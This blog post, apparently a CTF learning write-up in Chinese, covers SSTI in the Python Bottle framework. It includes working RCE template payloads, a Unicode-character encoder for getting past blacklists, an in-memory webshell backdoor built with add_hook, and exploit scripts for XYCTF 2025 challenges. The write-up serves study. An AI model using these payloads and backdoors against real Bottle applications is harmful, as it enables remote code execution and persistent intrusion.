0%

Python|基于Bottle的SSTI注入

前言:

在复现2025XYCTF的时候碰到了一题,感觉有意思而且也是我之前没见过的一个知识点,所以就写下这篇对知识点进行系统性整理。

一、Bottle库

简介

Bottle是一个超轻量级的Python Web框架,具有简洁、高效和零依赖的特性。

特性

核心特性:

  • 极简设计:学习曲线低,适合快速开发

  • 内置HTTP服务器:开发环境无需额外配置

  • 路由系统:支持静态和动态路由

  • 模板引擎:内置简单模板系统,支持Jinja2等第三方引擎1

  • 轻量级:单个文件约4000行代码,无外部依赖

基本功能

路由功能

Bottle提供了强大的路由机制,将URL映射到处理函数

1
2
3
4
5
6
7
import bottle

@bottle.route('/')
def index():
return 'TG1u'

bottle.run(host=127.0.0.1, port=5000)

请求参数处理

Bottle可以方便地获取各类请求参数

1
2
3
4
5
6
import bottle

@bottle.route('/index')
def index():
name = bottle.request.query.get('name', 'TG1u')
return f'{name}'

静态文件服务

内置static_file函数简化静态资源托管

1
2
3
4
5
import bottle

@bottle.route('/static/<filename>')
def serve_static(filename):
return bottle.static_file(filename, root='/path/to/files')

模板渲染

Bottle支持多种模板引擎

1
2
3
4
5
import bottle

@bottle.route('/index/<name>')
def index(name):
return bottle.template('tglu_template', name=name)

模板文件tglu_template.tpl

1
<h1>{{name}}</h1>

本篇文章就依赖模板渲染功能。

二、基于Bottle库的SSTI注入

Bottle模板引擎特性

Bottle内置了一个简单的模板引擎:

  • 使用类似Python语法的模板标记
  • 支持变量替换({{var}}
  • 支持控制结构(%if%for等)
  • 默认不提供严格的沙箱环境

版本区别

bottle<0.12:默认模板引擎几乎没有安全限制

  • 允许访问几乎所有Python对象
  • 没有严格的沙箱环境
  • 可以轻松代码执行

bottle=0.12-0.13:开始引入基本安全限制

  • 默认禁用部分危险函数,但仍可通过某些方式绕过
  • 基础表达式(如{{7*7}})仍能工作

bottle>0.12:大幅增强模板安全性

  • 强沙箱环境,默认不注入任何危险对象
  • 即使存在SSTI,也很难执行危险操作
  • 需要显式传递对象到模板上下文

漏洞分析

假设现在有这么一个环境(这里使用python2.7 bottle0.11.2进行演示)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import bottle

@bottle.route('/index')
def index():
poc = bottle.request.query.get('poc')
if poc is not None:
return bottle.template('test' + poc)
# return bottle.template(f'test {poc}')
else:
bottle.abort(400, 'Invalid poc')


if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000, debug=True)

漏洞发现

检测常用payload只有{{ }}有效,这是Bottle模板引擎的唯一默认语法。

虽说{{ }}是唯一默认语法,但是我看到一篇博客说<%%>%也可以使用,但是我自己实测下来发现就%可以使用(我猜测跟bottle.template()有关系跟进代码去看了一下检测 \n{%$ 字符自动判断输入类型但是没有<%%>所以我感觉挺奇怪的估计跟版本问题有关系,实际做题时如果{{}}被禁用了可以尝试看看)

1
%0a%%20print(7*7)

漏洞利用

语法跟flask框架下的SSTI其实差不多

信息泄露

获取环境变量:

1
{{request.environ}}

获取配置信息:

1
{{settings}}

获取应用配置:

1
{{config}}

还有些其他的,但是我这里代码里都没配置所以就不演示了

代码执行

跟flask框架下的差不多,还不需要调用内置类那些的,方便很多。

使用os.popen

1
{{__import__('os').popen('whoami').read()}}

或者使用os.system

1
{{__import__('os').system('whoami')}}

但是这个在页面上只会返回0表示执行成功,只能在终端看到结果

还可以使用subprocess.check_output

1
{{__import__('subprocess').check_output('whoami', shell=True)}}

绕过

基本上跟flask框架的都差不多,参考我在CSDN上的博客 SSTI模板注入漏洞基础

特殊注入

python3 bottle框架斜体字引发的ssti模板注入

在2025XYCTF的时候第一次碰到,这里参考出题人LamentXU师傅的文章

斜体字符集

斜体字符集指的是Decomposition后为同一个字符的字符集

https://www.compart.com/en/unicode/ 可以查看的到字符集(这里用a来做示例)

这些字符分解后都指向a,例如:á (U+00E1)分解为a(U+0065)+´(U+0301)á分解后指向a

这些字符共同组成了a这个基础字符的斜体字符集。

原理

输入

跟进到bottle.py的渲染函数template()查看一下

可以看到我们输入语句后会识别出\n{%$,然后放入到SimpleTemplate类中(简单逻辑),然后通过reader()进行渲染输出,跟进到SimpleTemplate中的reader()

通过分析,模板引擎能够实现渲染的核心方法是self.execute(),继续跟进到execute()

该逻辑实现了模板变量处理、嵌套模板、模板继承等高级功能,而我们能够通过SSTI模板注入实现代码执行正是来源于这里的exec(self.co, env),再观察其中的参数self.co是预编译的模板字节码,继续跟进到co()

参数source=self.code,正是我们模板的源代码,这里利用compile()将其编译,跟进到code()

code()方法作为模板引擎的源代码处理核心,负责将原始模板转换为可执行的中间代码。这里可以发现利用touni()方法对source进行编码处理,跟进到touni()

可以看到如果是python3则利用touni()将source的字节流或字符串统一转为Unicode,如果是python2则利用tob()

分别跟进到py3k(python3)和else(python2)

可以看到unicode在python3下是全体str,说明直接支持所有Unicode字符(包括特殊样式),也就是说我们可以输入斜体字符并被识别。

而在python2下是全体unicode,需要终端/编辑器支持特殊字符集。

因此我们就可以得出结论,在python3下是可以输入斜体字符并被识别的。(LamentXU师傅的那篇文章还对全局是否只有touni()对编码进行了处理进行了一个分析,最后得出确实只有touni()对编码进行了处理的结论。这里我就不再进一步分析了,如果想看的就参考LamentXU师傅的文章https://www.cnblogs.com/LAMENTXU/articles/18805019)

执行

接下来我们接着分析为什么带有斜体字符的代码为什么能够被执行。

通过上面的分析我们可以知道代码执行的原理是利用了exec()函数。

通过上面的分析我们知道在pythn3下,斜体字符是合法的Unicode字符,属于 UTF-8 的编码范围。在代码中直接书写这些字符时,当我们用exec()执行代码的时候Python 解释器会先将我们输入的字符解码为 Unicode 码点(Code Points),再编译为字节码,最后在当前的命名空间中运行字节码。

所以当我们输入的代码带有斜体字符的时候也是可以被exec()执行的。

但是这里要注意一点的是在进行代码执行的代码段中,只有两个字符ª (U+00AA),º (U+00BA)能够成功(LamentXU师傅也是只有这两个成功了,这里也是看了波LamentXU师傅的解释)。

这些特殊字符经过URL编码之后一个字符都必须以两个编码值表示。但是bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的。所以往往一个这些字符都会被识别成两个字符。只有位于U+0080(<Padding Character> (PAD))到U+00BF(¿)区间的字符,也就是Latin-1 Supplement的一半。他们的URL编码都由%c2开头,后面再跟一个编码值。利用的时候只需要将开头的%c2删去就可以成功将原字符传入后端。其中只有ª (U+00AA),º (U+00BA),¹ (U+00B9),² (U+00B2),³ (U+00B3)有用,其中¹ (U+00B9),² (U+00B2),³ (U+00B3)在exec()时不会被python正确解析。

这里用我本地python3 bottle0.13.2来演示一下

可以看到输入{{ª}}会被url编码为%C2%AA,此时我们将%C2给删去就可以解析为a了

再来看一下原来python2环境的效果

代码执行

搞懂了原理之后我们可以写一个exp来对payload中的代码进行编码处理(这里直接用LamentXU师傅的exp了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import re

def replace_unquoted(text):
pattern = r'(\'.*?\'|\".*?\")|([oa])'

def replacement(match):
if match.group(1):
return match.group(1)
else:
char = match.group(2)
replacements = {
'o': '%ba',
'a': '%aa',
}
return replacements.get(char, char)

result = re.sub(pattern, replacement, text)
return result


input_text = "{{__import__('os').popen('whoami').read()}}" # payload
output_text = replace_unquoted(input_text)
print("处理后的字符串:", output_text)

Bottle v0.13.2内存马

这里我还没碰到过但是感觉应该存在,去搜一下发现Meteor_Kai师傅之前有写过一篇关于这个的,这里也是参考了他的文章。

内存马

不落地的Web后门,直接驻留在内存中,通过修改运行时内存数据(如Java的Servlet容器、Python的WSGI应用)劫持请求处理流程。本质上就是自定义一个路由来实现rce。

原理

输入

既然内存马是与路由有关的,那么我们就跟进到bottle.py里的route()查看

可以看到利用callable()处理@app.route()直接装饰函数的情况,我们跟进到callable(python2是没有这个的)

定义了一个名为 callable的lambda函数替代 Python 内置的callable()函数,用于检测一个对象是否可调用(即是否可以被当作函数执行),再返回到route()查看逻辑。

如果我们输入的path是一个可调用对象,则会将path的值赋给callback而path为空。

接着跟进到下面的路由装饰器decorator()

接收上面的callback后利用Route()构造一个路由对象。

综上,如果我们传入一个值给callback生成一个函数就可以实现代码执行。

执行

但是callback是什么的时候能够生成函数呢?也就是如何在不写一个完整的def的情况下自定义一个函数

这就要利用python默认自带的lambda表达式(也就是我们上面分析的时候出现过的)

语法:

1
lambda 参数列表: 表达式

简单演示一下

1
2
3
4
5
6
7
from bottle import Bottle,error
app=Bottle()
@error(404)
@app.route("/index","GET",lambda _:__import__('os').popen('whoami').read())

if __name__=="__main__":
app.run(host='0.0.0.0',port=5000,debug=True)

可以看到虽然是报错,命令已经执行成功了。

写入内存马

可以看到上面的命令执行成功,但是正常情况下题目不会直接给callback赋值,所以我们需要思考利用什么方式能够将我们的payload写入到callback中进行rce。

这里就需要利用到一个函数add_hook(),查看一下bottle.py里的add_hook()

这个函数用于添加钩子函数到指定钩子点,然后执行。可以来看看钩子有哪些

如果我们传入的钩子为反向钩子after_request,则会实现insert操作将钩子插入队列头部,如果是其他普通钩子则追加到队列尾部。after_request这个钩子的执行阶段响应返回前(即使路由抛出异常)。所以使用这个钩子的话即使路由抛出错误了,我们的代码也已经执行完了。

利用add_hook的前提是有eval()

下面来简单演示了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from bottle import template,Bottle,request,error
app=Bottle()
@error(404)
@app.route("/index")
def index():
result=eval(request.params.get('poc'))
return template( result, noescape=True)

@app.route("/")
def index():
return "Hi"

if __name__=="__main__":
app.run(host='0.0.0.0',port=5000,debug=True)

构造payload

1
app.add_hook('after_request',lambda :print(1))

可以看到在终端已经执行print(1)成功了但是在页面上还是报错

并且此时直接访问/也可以得到1,但是在页面上也是报错

这里我有个问题:在尝试app.add_hook('after_request',lambda :__import__('os').popen('whoami').read())没法执行终端和页面上全都报错了。

问题解决,原本我用的popen其实已经将whoami执行成功了,但是popen的执行结果不会显示在终端而是直接显示在页面上,而页面上由于会被我们的报错覆盖所以看不到执行结果,这里用system就可以了。(这里感谢meteorkai师傅的help)

1
app.add_hook('after_request',lambda :__import__('os').system('whoami'))

回显执行结果

但是如果只能显示在终端,在做题的时候也是没有作用的,所以得想一种命令执行的结果显示在页面上的方法

响应头

这里我们需要利用到一个函数set_header(),查看一下其定义

这个函数的用法主要是强制覆盖同名头(只保留最新的)

演示一下

1
app.add_hook('after_request', lambda : __import__('bottle').response.set_header('X-Flag', __import__('base64').b64encode(__import__('os').popen("whoami").read().encode('utf-8')).decode('utf-8')))

然后访问/路由,就可以在请求头里看到结果了

abort()

利用abort()我们可以直接将结果给显示到报错信息中,查看一下其定义

可以看到用于立即终止请求处理并返回 HTTP 错误响应的文本,此时我们只需将text改为我们的payload即可实现将结果打印到报错信息里。

1
app.add_hook('after_request', lambda: __import__('bottle').abort(404,__import__('os').popen('whoami').read()))

访问/路由即可看到执行结果

写入后门

payload:

1
app.add_hook('after_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('cmd')).read()))

然后在/路由直接?cmd=whoami就行了

三、例题

2025XYCTF 出题人已疯

题目给了源码,直接看关键点

 2025-04-17 202419.png

可以发现可能存在ssti模板注入

尝试一下

 2025-04-17 202316.png

确定ssti模板注入的存在

查看源码发现可能存在基于bottle库的SSTI注入。但是直接命令执行的话,可以看到源码禁用了popen,所以只能用system来执行,但是{{__import__('os').system('whoami')}}长度也是超过了25,用%的方法%0a%%20__import__('os').system('whoami')也是超过了25。

所以这里我们只能采用拼接的方法来绕过。

错误exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url='http://gz.imxbt.cn:20543/attack'

payload="__import__('os').system('whoami')"
payload=[payload[i:i+4] for i in range(0,len(payload),4)]
print(payload)

for i in range(len(payload)):
if i==0:
poc=f'\n%import os;os.a="{payload[i]}"'
print(poc)
r=requests.get(url,params={"payload":poc})
else:
poc=f'\n%import os;os.a+="{payload[i]}"'
print(poc)
r=requests.get(url,params={"payload":poc})

poc=f"\n%import os;eval(os.a)"
response=requests.get(url,params={"payload":poc})

print(response.text)

但是我发现没得到结果

看了下wp发现又是无回显。。。

获取flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests


url='http://gz.imxbt.cn:20543/attack'

payload="__import__('os').system('tac /f* >2.txt')"
payload=[payload[i:i+4] for i in range(0,len(payload),4)]
print(payload)

for i in range(len(payload)):
if i==0:
poc=f'\n%import os;os.a="{payload[i]}"'
print(poc)
r=requests.get(url,params={"payload":poc})
else:
poc=f'\n%import os;os.a+="{payload[i]}"'
print(poc)
r=requests.get(url,params={"payload":poc})

poc=f"\n%import os;eval(os.a)"
response=requests.get(url,params={"payload":poc})

poc=f"\n%include('2.txt')"
response=requests.get(url,params={"payload":poc})
print(response.text)

2025XYCTF 出题人又疯

这题跟出题人已疯差不多,唯一不同是多了一个blacklist = ['o', '\\', '\r', '\n', 'import', 'eval', 'exec', 'system', ' ', ';' , 'read']

但是要该怎么绕过呢?这里我也是想不到了,直接看的wp,发现用斜体字可以绕过

先用脚本处理一下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import re

def replace_unquoted(text):
pattern = r'(\'.*?\'|\".*?\")|([oa])'

def replacement(match):
if match.group(1):
return match.group(1)
else:
char = match.group(2)
replacements = {
'o': '%ba',
'a': '%aa',
}
return replacements.get(char, char)

result = re.sub(pattern, replacement, text)
return result


input_text = "__import__('os').popen('whoami').read()" # payload
output_text = replace_unquoted(input_text)
print("处理后的字符串:", output_text)

将得到的结果带入我上面那题的exp但是发现不成功,仔细一看才发现import和eval也被过滤了。。。再处理一下,结果发现还是不行,再看源码发现\n也被过滤了。。。

没办法用上一题的exp打了现在(绕了半天也绕不过去了),直接看wp发现直接用open打开flag就行了

处理一下{{open(%27/flag%27).read()}}

payload:

1
/attack?payload={{%BApen(%27/flag%27).re%aad()}}

Bottle打SSTI内存马的题暂时还没有做到过,等做到了再补上。